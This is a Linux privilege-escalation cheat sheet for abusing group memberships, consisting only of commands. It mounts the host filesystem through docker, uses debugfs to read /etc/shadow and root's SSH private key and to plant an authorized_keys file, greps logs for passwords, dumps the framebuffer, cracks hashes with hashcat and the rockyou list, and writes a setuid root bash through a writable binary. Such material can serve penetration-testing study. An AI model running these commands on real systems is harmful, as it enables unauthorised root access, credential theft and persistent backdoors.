Groups-based Privesc

id
groups
cat /etc/group | grep $(whoami)

docker run -v /:/mnt --rm -it alpine chroot /mnt bash

df -h
# Find root partition, e.g., /dev/sda1

debugfs /dev/sda1
debugfs: cat /etc/shadow

debugfs /dev/sda1
debugfs: cat /root/.ssh/id_rsa

debugfs -w /dev/sda1
debugfs: write /tmp/authorized_keys /root/.ssh/authorized_keys

find /var/log -readable 2>/dev/null

grep -ri "password\|pass\|pwd" /var/log/ 2>/dev/null
grep -ri "Failed password\|Accepted password" /var/log/auth.log 2>/dev/null

grep "Invalid user" /var/log/auth.log | awk '{print $8}' | sort -u

aureport --tty 2>/dev/null
cat /var/log/audit/audit.log | grep -i "passwd\|password" 2>/dev/null

cat /dev/fb0 > /tmp/screenshot.raw

cat /sys/class/graphics/fb0/virtual_size
# e.g., 1920,1080

ffmpeg -f rawvideo -pix_fmt bgra -s 1920x1080 -i screenshot.raw screenshot.png

ls -la /dev/dri/

cat /etc/shadow

hashcat -m 1800 shadow.hash /usr/share/wordlists/rockyou.txt

ls -la /usr/local/bin/

echo '#!/bin/bash' > /usr/local/bin/target-binary
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /usr/local/bin/target-binary
chmod +x /usr/local/bin/target-binary

sudo su
sudo bash

find / -group root -writable 2>/dev/null | grep -v proc